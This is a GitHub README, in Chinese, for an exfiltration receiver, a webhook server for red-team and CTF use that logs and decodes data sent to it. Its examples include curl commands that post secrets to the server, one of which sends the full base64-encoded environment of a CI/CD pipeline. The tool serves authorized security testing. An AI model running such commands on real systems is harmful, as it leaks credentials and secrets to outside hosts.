srdaniellp/exfil-receiver

GitHub: srdaniellp/exfil-receiver

一款专为红队行动和渗透测试设计的轻量级 webhook 服务器,用于接收、解码和记录安全评估期间外发提取的数据。

Stars: 0 | Forks: 0

# Exfil 接收器 轻量级 webhook 服务器,用于在安全评估期间接收和记录渗取的数据。专为红队行动、CTF 竞赛和渗透测试实验室而构建。 ## 功能 - 多端点支持(`/`、`/webhook`、`/exfil`、`/data`) - 自动 base64 解码 - 凭据模式高亮(AWS、GitHub、API keys) - 攻击 payload 过滤(prototype pollution、RCE 尝试) - 带元数据的文件日志记录 - 用于列出和检索 dump 的 REST API - SSL/HTTPS 支持 - 用于生产环境部署的 Systemd 服务 ## 安装 ``` git clone https://github.com/srdaniellp/exfil-receiver.git cd exfil-receiver pip install -r requirements.txt ``` ## 使用方法 ### 本地开发 ``` python webhook.py --port 8080 ``` ### 使用 HTTPS ``` python webhook.py --port 443 --ssl ``` ### 生产环境 (VPS) ``` # 复制文件到服务器 scp webhook.py deploy.sh user@server:/tmp/ # 运行 deploy 脚本 ssh user@server "bash /tmp/deploy.sh" ``` ## 端点 | 方法 | 端点 | 描述 | |--------|----------|-------------| | GET | `/` | 服务状态 | | POST | `/` | 接收数据 | | POST | `/webhook` | 接收数据(别名) | | POST | `/exfil` | 接收数据(别名) | | POST | `/data` | 接收数据(别名) | | GET | `/dumps` | 列出已接收的文件 | | GET | `/dumps/` | 获取特定的 dump | ## 发送数据 ``` # 原始数据 curl -X POST http://server:8080/ -d "SECRET_KEY=abc123" # Base64 编码 echo "AWS_SECRET=xyz" | base64 | curl -X POST http://server:8080/ -d @- # 来自 CI/CD pipeline curl -X POST http://server:8080/exfil -d "$(env | base64)" ``` ## 输出 接收到的数据将连同元数据保存到 `dumps/`: ``` # 接收时间: 2024-01-15T14:30:00 # Source IP: 192.168.1.100 # User-Agent: curl/7.68.0 # ============================================================ # === RAW DATA === U0VDUkVUX0tFWT1hYmMxMjM= # === DECODED (如果为 base64) === SECRET_KEY=abc123 ``` ## 安全特性 服务器包含用于拦截常见攻击 payload 的过滤器: - Prototype pollution 尝试 - Next.js RSC 利用 - 编码的 eval/RCE payload 合法的凭据即使匹配了某些模式,也依然会被接受。 ## 免责声明 本工具仅供授权的安全测试和教育目的使用。在对您不拥有的任何系统进行测试之前,请务必获得适当的授权。 ## 许可证 MIT
标签:Python, Webhook, 力导向图, 数据外发, 无后门, 逆向工具